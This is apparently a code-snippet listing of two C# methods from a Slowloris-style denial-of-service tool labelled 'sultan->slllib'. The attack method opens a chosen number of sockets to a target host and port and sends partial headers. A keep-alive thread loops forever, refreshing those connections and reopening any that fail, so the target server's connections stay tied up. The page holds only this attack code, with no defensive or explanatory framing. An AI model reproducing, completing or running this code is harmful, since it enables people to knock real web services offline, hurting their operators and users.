Exemplo n.º 1
0
 public void attack(string ip, int port, bool useSsl, int count)
 {
     Console.WriteLine("[sultan->slllib] VERB Host -> " + ip);
     Console.WriteLine("[sultan->slllib] VERB Port -> " + port.ToString());
     Console.WriteLine("[sultan->slllib] VERB Using SSL -> " + useSsl.ToString());
     Console.WriteLine("[sultan->slllib] VERB Count -> " + count.ToString());
     Console.WriteLine("[sultan->slllib] VERB initializing connections for {0} sockets", count);
     for (int i = 0; i < count; i++)
     {
         var conn = new LorisConnection(ip, port, useSsl);
         conn.SendHeaders("Sultan/0.3.0 (SLLLIB 2.0) LPTSTR/20100101 Airfox/0.36 ME_ELEMENTSYS The Legion of the Desperate Programmers");
         connections.Add(conn);
     }
 }
Exemplo n.º 2
0
 private void keepAliveThread()
 {
     while (true)
     {
         Console.WriteLine("[sultan->slllib] VERB send keep-alive headers for {0} connections", connections.Count);
         for (int i = 0; i < connections.Count; i++)
         {
             try
             {
                 connections[i].KeepAlive();
             }
             catch
             {
                 connections[i] = new LorisConnection(connections[i].IP, connections[i].Port, connections[i].UsingSsl);
             }
         }
         Thread.Sleep(timeout);
     }
 }